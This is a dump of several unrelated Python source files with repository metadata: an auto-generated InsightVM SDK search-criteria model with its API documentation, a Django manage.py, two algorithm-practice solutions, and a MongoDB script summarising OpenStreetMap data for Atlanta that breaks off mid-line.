this API. | Status | Meaning | Usage | | ------ | ------------------------ |------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `200` | OK | The operation performed without error according to the specification of the request, and no more specific 2xx code is suitable. | | `201` | Created | A create request has been fulfilled and a resource has been created. The resource is available as the URI specified in the response, including the `Location` header. | | `202` | Accepted | An asynchronous task has been accepted, but not guaranteed, to be processed in the future. | | `400` | Bad Request | The request was invalid or cannot be otherwise served. The request is not likely to succeed in the future without modifications. | | `401` | Unauthorized | The user is unauthorized to perform the operation requested, or does not maintain permissions to perform the operation on the resource specified. | | `403` | Forbidden | The resource exists to which the user has access, but the operating requested is not permitted. | | `404` | Not Found | The resource specified could not be located, does not exist, or an unauthenticated client does not have permissions to a resource. | | `405` | Method Not Allowed | The operations may not be performed on the specific resource. Allowed operations are returned and may be performed on the resource. | | `408` | Request Timeout | The client has failed to complete a request in a timely manner and the request has been discarded. | | `413` | Request Entity Too Large | The request being provided is too large for the server to accept processing. | | `415` | Unsupported Media Type | The media type is not supported for the requested resource. | | `500` | Internal Server Error | An internal and unexpected error has occurred on the server at no fault of the client. | ### Security The response statuses 401, 403 and 404 need special consideration for security purposes. As necessary, error statuses and messages may be obscured to strengthen security and prevent information exposure. The following is a guideline for privileged resource response statuses: | Use Case | Access | Resource | Permission | Status | | ------------------------------------------------------------------ | ------------------ |------------------- | ------------ | ------------ | | Unauthenticated access to an unauthenticated resource. | Unauthenticated | Unauthenticated | Yes | `20x` | | Unauthenticated access to an authenticated resource. | Unauthenticated | Authenticated | No | `401` | | Unauthenticated access to an authenticated resource. | Unauthenticated | Non-existent | No | `401` | | Authenticated access to a unauthenticated resource. | Authenticated | Unauthenticated | Yes | `20x` | | Authenticated access to an authenticated, unprivileged resource. | Authenticated | Authenticated | No | `404` | | Authenticated access to an authenticated, privileged resource. | Authenticated | Authenticated | Yes | `20x` | | Authenticated access to an authenticated, non-existent resource | Authenticated | Non-existent | Yes | `404` | ### Headers Commonly used response headers include: | Header | Example | Purpose | | -------------------------- | --------------------------------- | --------------------------------------------------------------- | | `Allow` | `OPTIONS, GET` | Defines the allowable HTTP operations on a resource. | | `Cache-Control` | `no-store, must-revalidate` | Disables caching of resources (as they are all dynamic). | | `Content-Encoding` | `gzip` | The encoding of the response body (if any). | | `Location` | | Refers to the URI of the resource created by a request. | | `Transfer-Encoding` | `chunked` | Specified the encoding used to transform response. | | `Retry-After` | 5000 | Indicates the time to wait before retrying a request. | | `X-Content-Type-Options` | `nosniff` | Disables MIME type sniffing. | | `X-XSS-Protection` | `1; mode=block` | Enables XSS filter protection. | | `X-Frame-Options` | `SAMEORIGIN` | Prevents rendering in a frame from a different origin. | | `X-UA-Compatible` | `IE=edge,chrome=1` | Specifies the browser mode to render in. | ### Format When `application/json` is returned in the response body it is always pretty-printed (indented, human readable output). Additionally, gzip compression/encoding is supported on all responses. #### Dates & Times Dates or times are returned as strings in the ISO 8601 'extended' format. When a date and time is returned (instant) the value is converted to UTC. For example: | Value | Format | Example | | --------------- | ------------------------------ | --------------------- | | Date | `YYYY-MM-DD` | 2017-12-03 | | Date & Time | `YYYY-MM-DD'T'hh:mm:ss[.nnn]Z` | 2017-12-03T10:15:30Z | #### Content In some resources a Content data type is used. This allows for multiple formats of representation to be returned within resource, specifically `\"html\"` and `\"text\"`. The `\"text\"` property returns a flattened representation suitable for output in textual displays. The `\"html\"` property returns an HTML fragment suitable for display within an HTML element. Note, the HTML returned is not a valid stand-alone HTML document. #### Paging The response to a paginated request follows the format: ```json { resources\": [ ... ], \"page\": { \"number\" : ..., \"size\" : ..., \"totalResources\" : ..., \"totalPages\" : ... }, \"links\": [ \"first\" : { \"href\" : \"...\" }, \"prev\" : { \"href\" : \"...\" }, \"self\" : { \"href\" : \"...\" }, \"next\" : { \"href\" : \"...\" }, \"last\" : { \"href\" : \"...\" } ] } ``` The `resources` property is an array of the resources being retrieved from the endpoint, each which should contain at minimum a \"self\" relation hypermedia link. The `page` property outlines the details of the current page and total possible pages. The object for the page includes the following properties: - number - The page number (zero-based) of the page returned. - size - The size of the pages, which is less than or equal to the maximum page size. - totalResources - The total amount of resources available across all pages. - totalPages - The total amount of pages. The last property of the paged response is the `links` array, which contains all available hypermedia links. For paginated responses, the \"self\", \"next\", \"previous\", \"first\", and \"last\" links are returned. The \"self\" link must always be returned and should contain a link to allow the client to replicate the original request against the collection resource in an identical manner to that in which it was invoked. The \"next\" and \"previous\" links are present if either or both there exists a previous or next page, respectively. The \"next\" and \"previous\" links have hrefs that allow \"natural movement\" to the next page, that is all parameters required to move the next page are provided in the link. The \"first\" and \"last\" links provide references to the first and last pages respectively. Requests outside the boundaries of the pageable will result in a `404 NOT FOUND`. Paginated requests do not provide a \"stateful cursor\" to the client, nor does it need to provide a read consistent view. Records in adjacent pages may change while pagination is being traversed, and the total number of pages and resources may change between requests within the same filtered/queries resource collection. #### Property Views The \"depth\" of the response of a resource can be configured using a \"view\". All endpoints supports two views that can tune the extent of the information returned in the resource. The supported views are `summary` and `details` (the default). View are specified using a query parameter, in this format: ```bash /<resource>?view={viewName} ``` #### Error Any error responses can provide a response body with a message to the client indicating more information (if applicable) to aid debugging of the error. All 40x and 50x responses will return an error response in the body. The format of the response is as follows: ```json { \"status\": <statusCode>, \"message\": <message>, \"links\" : [ { \"rel\" : \"...\", \"href\" : \"...\" } ] } ``` The `status` property is the same as the HTTP status returned in the response, to ease client parsing. The message property is a localized message in the request client's locale (if applicable) that articulates the nature of the error. The last property is the `links` property. This may contain additional [hypermedia links](#section/Overview/Authentication) to troubleshoot. #### Search Criteria <a section=\"section/Responses/SearchCriteria\"></a> Multiple resources make use of search criteria to match assets. Search criteria is an array of search filters. Each search filter has a generic format of: ```json { \"field\": \"<field-name>\", \"operator\": \"<operator>\", [\"value\": \"<value>\",] [\"lower\": \"<value>\",] [\"upper\": \"<value>\"] } ``` Every filter defines two required properties `field` and `operator`. The field is the name of an asset property that is being filtered on. The operator is a type and property-specific operating performed on the filtered property. The valid values for fields and operators are outlined in the table below. Every filter also defines one or more values that are supplied to the operator. The valid values vary by operator and are outlined below. ##### Fields The following table outlines the search criteria fields and the available operators: | Field | Operators | | --------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ | | `alternate-address-type` | `in` | | `container-image` | `is` ` is-not` ` starts-with` ` ends-with` ` contains` ` does-not-contain` ` is-like` ` not-like` | | `container-status` | `is` ` is-not` | | `containers` | `are` | | `criticality-tag` | `is` ` is-not` ` is-greater-than` ` is-less-than` ` is-applied` ` is-not-applied` | | `custom-tag` | `is` ` is-not` ` starts-with` ` ends-with` ` contains` ` does-not-contain` ` is-applied` ` is-not-applied` | | `cve` | `is` ` is-not` ` contains` ` does-not-contain` | | `cvss-access-complexity` | `is` ` is-not` | | `cvss-authentication-required` | `is` ` is-not` | | `cvss-access-vector` | `is` ` is-not` | | `cvss-availability-impact` | `is` ` is-not` | | `cvss-confidentiality-impact` | `is` ` is-not` | | `cvss-integrity-impact` | `is` ` is-not` | | `cvss-v3-confidentiality-impact` | `is` ` is-not` | | `cvss-v3-integrity-impact` | `is` ` is-not` | | `cvss-v3-availability-impact` | `is` ` is-not` | | `cvss-v3-attack-vector` | `is` ` is-not` | | `cvss-v3-attack-complexity` | `is` ` is-not` | | `cvss-v3-user-interaction` | `is` ` is-not` | | `cvss-v3-privileges-required` | `is` ` is-not` | | `host-name` | `is` ` is-not` ` starts-with` ` ends-with` ` contains` ` does-not-contain` ` is-empty` ` is-not-empty` ` is-like` ` not-like` | | `host-type` | `in` ` not-in` | | `ip-address` | `is` ` is-not` ` in-range` ` not-in-range` ` is-like` ` not-like` | | `ip-address-type` | `in` ` not-in` | | `last-scan-date` | `is-on-or-before` ` is-on-or-after` ` is-between` ` is-earlier-than` ` is-within-the-last` | | `location-tag` | `is` ` is-not` ` starts-with` ` ends-with` ` contains` ` does-not-contain` ` is-applied` ` is-not-applied` | | `mobile-device-last-sync-time` | `is-within-the-last` ` is-earlier-than` | | `open-ports` | `is` ` is-not` ` in-range` | | `operating-system` | `contains` ` does-not-contain` ` is-empty` ` is-not-empty` | | `owner-tag` | `is` ` is-not` ` starts-with` ` ends-with` ` contains` ` does-not-contain` ` is-applied` ` is-not-applied` | | `pci-compliance` | `is` | | `risk-score` | `is` ` is-not` ` in-range` ` greater-than` ` less-than` | | `service-name` | `contains` ` does-not-contain` | | `site-id` | `in` ` not-in` | | `software` | `contains` ` does-not-contain` | | `vAsset-cluster` | `is` ` is-not` ` contains` ` does-not-contain` ` starts-with` | | `vAsset-datacenter` | `is` ` is-not` | | `vAsset-host-name` | `is` ` is-not` ` contains` ` does-not-contain` ` starts-with` | | `vAsset-power-state` | `in` ` not-in` | | `vAsset-resource-pool-path` | `contains` ` does-not-contain` | | `vulnerability-assessed` | `is-on-or-before` ` is-on-or-after` ` is-between` ` is-earlier-than` ` is-within-the-last` | | `vulnerability-category` | `is` ` is-not` ` starts-with` ` ends-with` ` contains` ` does-not-contain` | | `vulnerability-cvss-v3-score` | `is` ` is-not` | | `vulnerability-cvss-score` | `is` ` is-not` ` in-range` ` is-greater-than` ` is-less-than` | | `vulnerability-exposures` | `includes` ` does-not-include` | | `vulnerability-title` | `contains` ` does-not-contain` ` is` ` is-not` ` starts-with` ` ends-with` | | `vulnerability-validated-status` | `are` | ##### Enumerated Properties The following fields have enumerated values: | Field | Acceptable Values | | ----------------------------------------- | ------------------------------------------------------------------------------------------------------------- | | `alternate-address-type` | 0=IPv4, 1=IPv6 | | `containers` | 0=present, 1=not present | | `container-status` | `created` `running` `paused` `restarting` `exited` `dead` `unknown` | | `cvss-access-complexity` | <ul><li><code>L</code> = Low</li><li><code>M</code> = Medium</li><li><code>H</code> = High</li></ul> | | `cvss-integrity-impact` | <ul><li><code>N</code> = None</li><li><code>P</code> = Partial</li><li><code>C</code> = Complete</li></ul> | | `cvss-confidentiality-impact` | <ul><li><code>N</code> = None</li><li><code>P</code> = Partial</li><li><code>C</code> = Complete</li></ul> | | `cvss-availability-impact` | <ul><li><code>N</code> = None</li><li><code>P</code> = Partial</li><li><code>C</code> = Complete</li></ul> | | `cvss-access-vector` | <ul><li><code>L</code> = Local</li><li><code>A</code> = Adjacent</li><li><code>N</code> = Network</li></ul> | | `cvss-authentication-required` | <ul><li><code>N</code> = None</li><li><code>S</code> = Single</li><li><code>M</code> = Multiple</li></ul> | | `cvss-v3-confidentiality-impact` | <ul><li><code>L</code> = Local</li><li><code>L</code> = Low</li><li><code>N</code> = None</li><li><code>H</code> = High</li></ul> | | `cvss-v3-integrity-impact` | <ul><li><code>L</code> = Local</li><li><code>L</code> = Low</li><li><code>N</code> = None</li><li><code>H</code> = High</li></ul> | | `cvss-v3-availability-impact` | <ul><li><code>N</code> = None</li><li><code>L</code> = Low</li><li><code>H</code> = High</li></ul> | | `cvss-v3-attack-vector` | <ul><li><code>N</code> = Network</li><li><code>A</code> = Adjacent</li><li><code>L</code> = Local</li><li><code>P</code> = Physical</li></ul> | | `cvss-v3-attack-complexity` | <ul><li><code>L</code> = Low</li><li><code>H</code> = High</li></ul> | | `cvss-v3-user-interaction` | <ul><li><code>N</code> = None</li><li><code>R</code> = Required</li></ul> | | `cvss-v3-privileges-required` | <ul><li><code>N</code> = None</li><li><code>L</code> = Low</li><li><code>H</code> = High</li></ul> | | `host-type` | 0=Unknown, 1=Guest, 2=Hypervisor, 3=Physical, 4=Mobile | | `ip-address-type` | 0=IPv4, 1=IPv6 | | `pci-compliance` | 0=fail, 1=pass | | `vulnerability-validated-status` | 0=present, 1=not present | ##### Operator Properties <a section=\"section/Responses/SearchCriteria/OperatorProperties\"></a> The following table outlines which properties are required for each operator and the appropriate data type(s): | Operator | `value` | `lower` | `upper` | | ----------------------|-----------------------|-----------------------|-----------------------| | `are` | `string` | | | | `contains` | `string` | | | | `does-not-contain` | `string` | | | | `ends with` | `string` | | | | `in` | `Array[ string ]` | | | | `in-range` | | `numeric` | `numeric` | | `includes` | `Array[ string ]` | | | | `is` | `string` | | | | `is-applied` | | | | | `is-between` | | `numeric` | `numeric` | | `is-earlier-than` | `numeric` | | | | `is-empty` | | | | | `is-greater-than` | `numeric` | | | | `is-on-or-after` | `string` (yyyy-MM-dd) | | | | `is-on-or-before` | `string` (yyyy-MM-dd) | | | | `is-not` | `string` | | | | `is-not-applied` | | | | | `is-not-empty` | | | | | `is-within-the-last` | `numeric` | | | | `less-than` | `string` | | | | `like` | `string` | | | | `not-contains` | `string` | | | | `not-in` | `Array[ string ]` | | | | `not-in-range` | | `numeric` | `numeric` | | `not-like` | `string` | | | | `starts-with` | `string` | | | #### Discovery Connection Search Criteria <a section=\"section/Responses/DiscoverySearchCriteria\"></a> Dynamic sites make use of search criteria to match assets from a discovery connection. Search criteria is an array of search filters. Each search filter has a generic format of: ```json { \"field\": \"<field-name>\", \"operator\": \"<operator>\", [\"value\": \"<value>\",] [\"lower\": \"<value>\",] [\"upper\": \"<value>\"] } ``` Every filter defines two required properties `field` and `operator`. The field is the name of an asset property that is being filtered on. The list of supported fields vary depending on the type of discovery connection configured for the dynamic site (e.g vSphere, ActiveSync, etc.). The operator is a type and property-specific operating performed on the filtered property. The valid values for fields outlined in the tables below and are grouped by the type of connection. Every filter also defines one or more values that are supplied to the operator. See <a href=\"#section/Responses/SearchCriteria/OperatorProperties\">Search Criteria Operator Properties</a> for more information on the valid values for each operator. ##### Fields (ActiveSync) This section documents search criteria information for ActiveSync discovery connections. The discovery connections must be one of the following types: `\"activesync-ldap\"`, `\"activesync-office365\"`, or `\"activesync-powershell\"`. The following table outlines the search criteria fields and the available operators for ActiveSync connections: | Field | Operators | | --------------------------------- | ------------------------------------------------------------- | | `last-sync-time` | `is-within-the-last` ` is-earlier-than` | | `operating-system` | `contains` ` does-not-contain` | | `user` | `is` ` is-not` ` contains` ` does-not-contain` ` starts-with` | ##### Fields (AWS) This section documents search criteria information for AWS discovery connections. The discovery connections must be the type `\"aws\"`. The following table outlines the search criteria fields and the available operators for AWS connections: | Field | Operators | | ----------------------- | ------------------------------------------------------------- | | `availability-zone` | `contains` ` does-not-contain` | | `guest-os-family` | `contains` ` does-not-contain` | | `instance-id` | `contains` ` does-not-contain` | | `instance-name` | `is` ` is-not` ` contains` ` does-not-contain` ` starts-with` | | `instance-state` | `in` ` not-in` | | `instance-type` | `in` ` not-in` | | `ip-address` | `in-range` ` not-in-range` ` is` ` is-not` | | `region` | `in` ` not-in` | | `vpc-id` | `is` ` is-not` ` contains` ` does-not-contain` ` starts-with` | ##### Fields (DHCP) This section documents search criteria information for DHCP discovery connections. The discovery connections must be the type `\"dhcp\"`. The following table outlines the search criteria fields and the available operators for DHCP connections: | Field | Operators | | --------------- | ------------------------------------------------------------- | | `host-name` | `is` ` is-not` ` contains` ` does-not-contain` ` starts-with` | | `ip-address` | `in-range` ` not-in-range` ` is` ` is-not` | | `mac-address` | `is` ` is-not` ` contains` ` does-not-contain` ` starts-with` | ##### Fields (Sonar) This section documents search criteria information for Sonar discovery connections. The discovery connections must be the type `\"sonar\"`. The following table outlines the search criteria fields and the available operators for Sonar connections: | Field | Operators | | ------------------- | -------------------- | | `search-domain` | `contains` ` is` | | `ip-address` | `in-range` ` is` | | `sonar-scan-date` | `is-within-the-last` | ##### Fields (vSphere) This section documents search criteria information for vSphere discovery connections. The discovery connections must be the type `\"vsphere\"`. The following table outlines the search criteria fields and the available operators for vSphere connections: | Field | Operators | | -------------------- | ------------------------------------------------------------------------------------------ | | `cluster` | `is` ` is-not` ` contains` ` does-not-contain` ` starts-with` | | `data-center` | `is` ` is-not` | | `discovered-time` | `is-on-or-before` ` is-on-or-after` ` is-between` ` is-earlier-than` ` is-within-the-last` | | `guest-os-family` | `contains` ` does-not-contain` | | `host-name` | `is` ` is-not` ` contains` ` does-not-contain` ` starts-with` | | `ip-address` | `in-range` ` not-in-range` ` is` ` is-not` | | `power-state` | `in` ` not-in` | | `resource-pool-path` | `contains` ` does-not-contain` | | `last-time-seen` | `is-on-or-before` ` is-on-or-after` ` is-between` ` is-earlier-than` ` is-within-the-last` | | `vm` | `is` ` is-not` ` contains` ` does-not-contain` ` starts-with` | ##### Enumerated Properties (vSphere) The following fields have enumerated values: | Field | Acceptable Values | | ------------- | ------------------------------------ | | `power-state` | `poweredOn` `poweredOff` `suspended` | ## HATEOAS This API follows Hypermedia as the Engine of Application State (HATEOAS) principals and is therefore hypermedia friendly. Hyperlinks are returned in the `links` property of any given resource and contain a fully-qualified hyperlink to the corresponding resource. The format of the hypermedia link adheres to both the <a target=\"_blank\" href=\"http://jsonapi.org\">{json:api} v1</a> <a target=\"_blank\" href=\"http://jsonapi.org/format/#document-links\">\"Link Object\"</a> and <a target=\"_blank\" href=\"http://json-schema.org/latest/json-schema-hypermedia.html\">JSON Hyper-Schema</a> <a target=\"_blank\" href=\"http://json-schema.org/latest/json-schema-hypermedia.html#rfc.section.5.2\">\"Link Description Object\"</a> formats. For example: ```json \"links\": [{ \"rel\": \"<relation>\", \"href\": \"<href>\" ... }] ``` Where appropriate link objects may also contain additional properties than the `rel` and `href` properties, such as `id`, `type`, etc. See the [Root](#tag/Root) resources for the entry points into API discovery. # noqa: E501 OpenAPI spec version: 3 Contact: support@rapid7.com Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re # noqa: F401 import six from py_insightvm_sdk.models.swagger_discovery_search_criteria_filter import SwaggerDiscoverySearchCriteriaFilter # noqa: F401,E501 class DiscoverySearchCriteria(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'connection_type': 'str', 'filters': 'list[SwaggerDiscoverySearchCriteriaFilter]', 'match': 'str' } attribute_map = { 'connection_type': 'connectionType', 'filters': 'filters', 'match': 'match' } def __init__(self, connection_type=None, filters=None, match=None): # noqa: E501 """DiscoverySearchCriteria - a model defined in Swagger""" # noqa: E501 self._connection_type = None self._filters = None self._match = None self.discriminator = None if connection_type is not None: self.connection_type = connection_type if filters is not None: self.filters = filters if match is not None: self.match = match @property def connection_type(self): """Gets the connection_type of this DiscoverySearchCriteria. # noqa: E501 The type of discovery connection configured for the site. This property only applies to dynamic sites. # noqa: E501 :return: The connection_type of this DiscoverySearchCriteria. # noqa: E501 :rtype: str """ return self._connection_type @connection_type.setter def connection_type(self, connection_type): """Sets the connection_type of this DiscoverySearchCriteria. The type of discovery connection configured for the site. This property only applies to dynamic sites. # noqa: E501 :param connection_type: The connection_type of this DiscoverySearchCriteria. # noqa: E501 :type: str """ allowed_values = ["activesync-ldap", "activesync-office365", "activesync-powershell", "aws", "dhcp", "sonar", "vsphere"] # noqa: E501 if connection_type not in allowed_values: raise ValueError( "Invalid value for `connection_type` ({0}), must be one of {1}" # noqa: E501 .format(connection_type, allowed_values) ) self._connection_type = connection_type @property def filters(self): """Gets the filters of this DiscoverySearchCriteria. # noqa: E501 Filters used to match assets from a discovery connection. See <a href=\"#section/Responses/DiscoverySearchCriteria\">Discovery Connection Search Criteria</a> for more information on the structure and format. # noqa: E501 :return: The filters of this DiscoverySearchCriteria. # noqa: E501 :rtype: list[SwaggerDiscoverySearchCriteriaFilter] """ return self._filters @filters.setter def filters(self, filters): """Sets the filters of this DiscoverySearchCriteria. Filters used to match assets from a discovery connection. See <a href=\"#section/Responses/DiscoverySearchCriteria\">Discovery Connection Search Criteria</a> for more information on the structure and format. # noqa: E501 :param filters: The filters of this DiscoverySearchCriteria. # noqa: E501 :type: list[SwaggerDiscoverySearchCriteriaFilter] """ self._filters = filters @property def match(self): """Gets the match of this DiscoverySearchCriteria. # noqa: E501 Operator to determine how to match filters. `all` requires that all filters match for an asset to be included. `any` requires only one filter to match for an asset to be included. # noqa: E501 :return: The match of this DiscoverySearchCriteria. # noqa: E501 :rtype: str """ return self._match @match.setter def match(self, match): """Sets the match of this DiscoverySearchCriteria. Operator to determine how to match filters. `all` requires that all filters match for an asset to be included. `any` requires only one filter to match for an asset to be included. # noqa: E501 :param match: The match of this DiscoverySearchCriteria. # noqa: E501 :type: str """ allowed_values = ["any", "all"] # noqa: E501 if match not in allowed_values: raise ValueError( "Invalid value for `match` ({0}), must be one of {1}" # noqa: E501 .format(match, allowed_values) ) self._match = match def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value if issubclass(DiscoverySearchCriteria, dict): for key, value in self.items(): result[key] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, DiscoverySearchCriteria): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other

[ "greenpau@outlook.com" ]

greenpau@outlook.com

82a746e5f60cd833d1722b8ad31c9a47ba6d461b

c1cadf7816acbe2c629dfdf5bfe8f35fa14bfd57

/archieve/chinese/manage.py

5ca0b7c52363f11fa49628eb6fd16998188a8760

[]

no_license

luochengleo/timeperception

39c5eb0b0cedf16a02867e6a67e2befc4a118c71

6c27ceb51e219d9f18898918d4f3158c94836ff4

refs/heads/master

2021-01-21T04:46:45.315679

2016-07-21T14:34:04

43,635,809

0

1

null

UTF-8

Python

false

257

py

#!/usr/bin/env python import os import sys if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "timeperception.settings") from django.core.management import execute_from_command_line execute_from_command_line(sys.argv)

[ "luochengleo@gmail.com" ]

luochengleo@gmail.com

c30b0daa268e1d472d04f23d05a26aa61c656f59

3f84f51751c4191bb81c9df7094578461fb12a2d

/典型90問/012_dfs.py

ab1e4b903f8a68201dac254f3a00b79daee48b9e

[]

no_license

rikukawamura/atcoder

7ff49f1bd8534b99d87fe81ef950e1ba77eee8b8

09c0cfe3ce25be56d338614a29e996f4106117cd

refs/heads/master

2023-08-13T21:21:19.058219

2021-09-28T10:02:42

329,206,601

0

null

UTF-8

Python

false

896

py

def int_sp(): return map(int, input().split()) def li_int_sp(): return list(map(int, input().split())) def dfs(s_y, s_x): if s_y<0 or H<=s_y or s_x<0 or W<=s_x or visited[s_y][s_x] or maps[s_y][s_x]==0: return visited[s_y][s_x] = 1 for k in range(4): dfs(s_y+dy[k], s_x+dx[k]) import pdb import sys sys.setrecursionlimit(10**8) H, W = int_sp() Q = int(input()) maps = [[0]*W for _ in range(H)] visited = [[0] * W for _ in range(H)] dx = [0, 1, 0, -1] dy = [1, 0, -1, 0] for _ in range(Q): #pdb.set_trace() q = li_int_sp() if q[0] == 1: maps[q[1]-1][q[2]-1] = 1 else: start_y, start_x = q[1], q[2] goal_y, goal_x = q[3], q[4] dfs(start_y-1, start_x-1) if visited[goal_y-1][goal_x-1] == 1: print('Yes') else: print('No') visited = [[0]*W for _ in range(H)]

[ "49993650+rikukawamura@users.noreply.github.com" ]

49993650+rikukawamura@users.noreply.github.com

f5ce0b8c0c2a1214e2899cfff23ea25f55ac12b1

c546184629526cff0d40180fc89158ea70c5e21c

/Basics of data science and machine learning/5. Tuples, Dictionary and sets/8. Pairs with difference K.py

68f7a31e266ceb68ab10d834ada99cfcc13e1541

[]

no_license

code-drops/coding-ninjas

23ad5d3ea813caf3bd1b04a3733b38d3fb844669

fd320e1e4f9e996fbe8d2ef25b20d818b18d4d79

refs/heads/master

2022-11-23T00:22:31.791976

2020-07-05T10:22:00

277,277,217

0

null

UTF-8

Python

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825

py

''' You are given with an array of integers and an integer K. Write a program to find and print all pairs which have difference K. Take difference as absolute. ''' def printPairDiffK(List, k): # Please add your code here dict = {} count, itm = 0, '' for item in reversed(List): dict[item] = dict.get(item, 0) + 1 # print(dict) for i in dict: # print(i) if i+k in dict: for m in range(dict[i]): for n in range(dict[i+k]): print(i,i+k) if i-k in dict: for m in range(dict[i]): for n in range(dict[i-k]): print(i-k,i) dict[i] = 0 # Main n=int(input()) l=list(int(i) for i in input().strip().split(' ')) k=int(input()) printPairDiffK(l, k)

[ "noreply@github.com" ]

code-drops.noreply@github.com

c7be3292d0f7692e0324adf082264120fa54122f

8c87224eb6d2935a6d10bff39f8592a1dd43f549

/data_overview.py

c5b91d99da176f1a06a9543f44356e24da0112eb

[]

no_license

charano/data-wrangle-openstreetmaps-data_1

ca3024d78acaf80e85ae3c66a1eee9b72dd6c899

59458dff3e1b05216b259b4bcf07da32e28abb57

refs/heads/master

2021-01-10T13:28:59.052062

2015-06-06T16:58:10

36,987,866

0

null

UTF-8

Python

false

7,190

py

import pprint def get_db(db_name): from pymongo import MongoClient client = MongoClient('localhost:27017') db = client[db_name] return db def zip_pipeline(): pipeline = [{"$match" : { "address.postcode" : {"$exists":1}}} ,{"$group" : {"_id" : "$address.postcode", "count" : {"$sum" : 1}}} ,{"$sort" : {"count" : -1}} ] return pipeline def city_pipeline(): pipeline = [{"$match" : { "address.city" : {"$exists":1}}} ,{"$group" : {"_id" : "$address.city", "count" : {"$sum" : 1}}} ,{"$sort" : {"count" : -1}} ] return pipeline def school_pipeline(): pipeline = [{"$match" : {"amenity" : {"$exists" : 1}, "amenity" : "school"}} ,{"$group" : {"_id" : "$name", "count" : {"$sum":1}}} ,{"$sort":{"count":-1}} ,{"$limit":10} ] return pipeline def college_pipeline(): pipeline = [{"$match" : {"amenity" : {"$exists" : 1}, "amenity" : "college"}} ,{"$group" : {"_id" : "$name", "count" : {"$sum":1}}} ,{"$sort":{"count":-1}} ,{"$limit":10} ] return pipeline def university_pipeline(): pipeline = [{"$match" : {"amenity" : {"$exists" : 1}, "amenity" : "university"}} ,{"$group" : {"_id" : "$name", "count" : {"$sum":1}}} ,{"$sort":{"count":-1}} ,{"$limit":10} ] return pipeline def top_user_pipeline(): pipeline = [{"$group" : {"_id" : "$created.user", "count" : {"$sum" : 1}}} ,{"$sort" : {"count" : -1}} ,{"$limit":25} ] return pipeline def one_time_user_pipeline(): pipeline = [{"$group" : {"_id" : "$created.user", "count" : {"$sum" : 1}}} ,{"$sort" : {"count" : -1}} ,{"$limit":1} ] return pipeline def top_amenities_pipeline(): pipeline = [{"$match" : {"amenity" : {"$exists" : 1}}} ,{"$group" : {"_id" : "$amenity", "count" : {"$sum":1}}} ,{"$sort":{"count":-1}} ,{"$limit":100} ] return pipeline def top_religions_pipeline(): pipeline = [{"$match" : {"amenity" : {"$exists" : 1}, "amenity" : "place_of_worship"}} ,{"$group" : {"_id" : "$religion", "count" : {"$sum":1}}} ,{"$sort":{"count":-1}} ,{"$limit":10} ] return pipeline def top_cuisines_pipeline(): pipeline = [{"$match" : {"amenity" : {"$exists" : 1}, "amenity" : "restaurant"}} ,{"$group" : {"_id" : "$cuisine", "count" : {"$sum":1}}} ,{"$sort":{"count":-1}} ,{"$limit":20} ] return pipeline def marietta_cuisines_pipeline(): pipeline = [{"$match" : {"amenity" : {"$exists" : 1}, "amenity" : "restaurant", "address.city" : "Marietta"}} ,{"$group" : {"_id" : "$cuisine", "count" : {"$sum":1}}} ,{"$sort":{"count":-1}} ,{"$limit":10} ] return pipeline def decatur_cuisines_pipeline(): pipeline = [{"$match" : {"amenity" : {"$exists" : 1}, "amenity" : "restaurant", "address.city" : "Decatur"}} ,{"$group" : {"_id" : "$cuisine", "count" : {"$sum":1}}} ,{"$sort":{"count":-1}} ,{"$limit":10} ] return pipeline def timestamp_pipeline(): pipeline = [{"$group" : {"_id" : {"year" : {"$year" : "$created.timestamp"}}, "count" : {"$sum" : 1}}} ,{"$sort" : {"count" : -1}} ] return pipeline def aggregate(db, pipeline): result = db.cities.aggregate(pipeline) return result if __name__ == '__main__': db = get_db('test') #Number of documents count_result = db.atlanta.find().count() print 'Number of documents' pprint.pprint(count_result) #Number of nodes nodes_result = db.atlanta.find({"type":"node"}).count() print 'Number of nodes' pprint.pprint(nodes_result) #Number of ways ways_result = db.atlanta.find({"type":"way"}).count() print 'Number of ways' pprint.pprint(ways_result) #Number of unique users users_result = len(db.atlanta.distinct("created.user")) print 'Number of unique users' pprint.pprint(users_result) #Top 1 contributing user top_user_pipeline = top_user_pipeline() top_user_result = db.atlanta.aggregate(top_user_pipeline) print 'Top contributor' pprint.pprint(top_user_result) #Zipcodes zip_pipeline = zip_pipeline() zip_result = db.atlanta.aggregate(zip_pipeline) print 'Zipcodes' pprint.pprint(zip_result) #Cities city_pipeline = city_pipeline() city_result = db.atlanta.aggregate(city_pipeline) print 'Cities' pprint.pprint(city_result) #Top amenities top_amenities_pipeline = top_amenities_pipeline() amenity_result = db.atlanta.aggregate(top_amenities_pipeline) print 'Amenities' pprint.pprint(amenity_result) #Top religions top_religions_pipeline = top_religions_pipeline() top_religions_result = db.atlanta.aggregate(top_religions_pipeline) print 'Top Religions' pprint.pprint(top_religions_result) #Top cuisines top_cuisines_pipeline = top_cuisines_pipeline() top_cuisines_result = db.atlanta.aggregate(top_cuisines_pipeline) print 'Top Cuisines' pprint.pprint(top_cuisines_result) #Marietta cuisines marietta_cuisines_pipeline = marietta_cuisines_pipeline() marietta_cuisines_result = db.atlanta.aggregate(marietta_cuisines_pipeline) print 'Marietta Cuisines' pprint.pprint(marietta_cuisines_result) #Decatur cuisines decatur_cuisines_pipeline = decatur_cuisines_pipeline() decatur_cuisines_result = db.atlanta.aggregate(decatur_cuisines_pipeline) print 'Decatur Cuisines' pprint.pprint(decatur_cuisines_result) #Schools school_pipeline = school_pipeline() school_result = 